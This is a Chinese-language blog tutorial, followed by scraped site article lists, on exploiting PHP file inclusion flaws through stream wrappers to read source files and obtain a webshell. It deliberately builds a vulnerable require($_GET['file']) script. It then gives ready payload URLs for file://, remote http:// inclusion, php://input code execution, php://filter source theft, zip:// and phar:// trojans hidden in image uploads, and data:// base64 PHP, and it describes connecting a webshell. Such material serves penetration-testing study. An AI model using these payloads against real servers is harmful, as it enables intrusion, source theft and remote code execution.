首先构造一个具有文件包含漏洞的php文件。

require($_GET['file']);

 其次使用伪协议包含文件并getshell:

  1、file://:访问本地文件系统。

    

    例如。http://localhost/test.php?file=file://C:\Windows\System32\drivers\etc\hosts

    

  2、http://:访问http或https的网址

    

    例如:http://localhost/test.php?file=http://www.baidu.com

    

    http://伪协议必须   allow_url_fopen与allow_url_include同时开启。缺一不可。

    此伪协议就是远程文件包含漏洞。可通过其他主机getshell。例如:http://localhost/test.php?file=http://localhost/1.php

    

  3、php://访问各个输入输出流

     

      php://伪协议,主要为php://input与php://filter

      php://input:将POST输入流当做PHP代码执行。其只受   allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。

      例如:开启allow_url_include参数,关闭allow_url_fopen参数。

        

      访问:http://localhost/test.php?file=php://input    POST:<?php phpinfo();

        

    php://filter伪协议:不受   allow_url_fopen与allow_url_include参数的影响

      

      此协议主要用于读取php源代码时会用到。

      例如:http://localhost/test.php?file=php://filter/read=convert.base64-encode/resource=./1.php

        

      也就是说,将一个PHP文件通过base64编码读出。倘若不加read读取链,则会将其中内容当做PHP代码执行,倘若如此,则无法读取PHP文件内容,于是在读取链中将其编码。

      例如:php://filter/resource=./1.txt

       

      

      所以说,php://filter此协议不受参数影响,即可读取文件内容,也可包含恶意文件直接getshell。

      例如:将1.txt修改为

      菜刀连接:http://localhost/test.php?file=php://filter/resource=./1.txt

      

      getshell成功

   4、zip://伪协议

      

      试想倘若有一种情况限制文件后缀为php文件,并且上传文件只能传jpg文件。allow_url_fopen参数与allow_url_include参数全部off的情况下。

      

<?php
$file = $_GET['file'] . '.php';
include($file);
?>

      貌似之前所用伪协议都无效,比较旧的版本可以使用00截断,路劲长度截断等。但是若无截断漏洞该如何?

      此种情况下可以使用zip伪协议,将木马放入压缩包中,再将压缩包后缀修改为上传白名单,然后使用zip伪协议进行包含。

      例如:zip://绝对路径\需要解压缩的文件%23子文件名

      

    5、phar://伪协议

      同zip伪协议。故上述问题此协议也可解决。

      phar://cc.jpg/cc,与zip协议不同的是zip协议为绝对路径,而phar协议为相对路径。

      

    6、data://伪协议

      

      可以看到,此协议是受 allow_url_include 限制的。所以 allow_url_fopen参数与allow_url_include都需开启。

      data://text/plain,<?php phpinfo();?>。test/plain, 后面的值会被当做php代码执行。

      

      也可如此:data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

        

最新文章

  1. Windows 10 for phone 离我们不远了
  2. linux -小记(3) 问题:linux 安装epel扩展源报错
  3. 在Excel中实现查询功能
  4. 估值十亿美元、1.5亿用户,公司CEO却跑路了
  5. Android 学习(一)
  6. Go语言结构体(struct)
  7. JAVA实现跳一跳辅助程序之虎啸龙吟
  8. notify丢失、虚假唤醒
  9. LeetCode &amp; Q189-Rotate Array-Easy
  10. Go-技篇第一 技巧杂烩
  11. 多校#5-1005-Instring-HDU5785-manacher+维护
  12. hishlib 算法加密
  13. javascript 列表定时滚动效果
  14. 开源CMS系统Moodle对比中国本土化开源在线教育平台EduSoho
  15. 权限框架Apache Shiro 和 Spring Security
  16. 学习笔记:ECharts
  17. rational rose java.lang.classNotFoundException
  18. lavarel模板引擎blade学习
  19. Go 导入当前项目下的包
  20. clientHeight , scrollHeight , offsetHeight之间的区别

热门文章

  1. 苹果电脑下载电影教程:如何用folx下载《小妇人》
  2. NOIP2012 解题报告
  3. Eclipse中构造方法自动生成
  4. java实验类的实现
  5. @Transactional自调用问题
  6. 基于CefSharp开发(一)开发什么?没想好
  7. day1(Django)
  8. PyQt(Python+Qt)学习随笔:窗口的布局设置及访问
  9. java课后作业2019.11.04
  10. 冰点文库下载器 v3.2.12(0314) 去广告单文件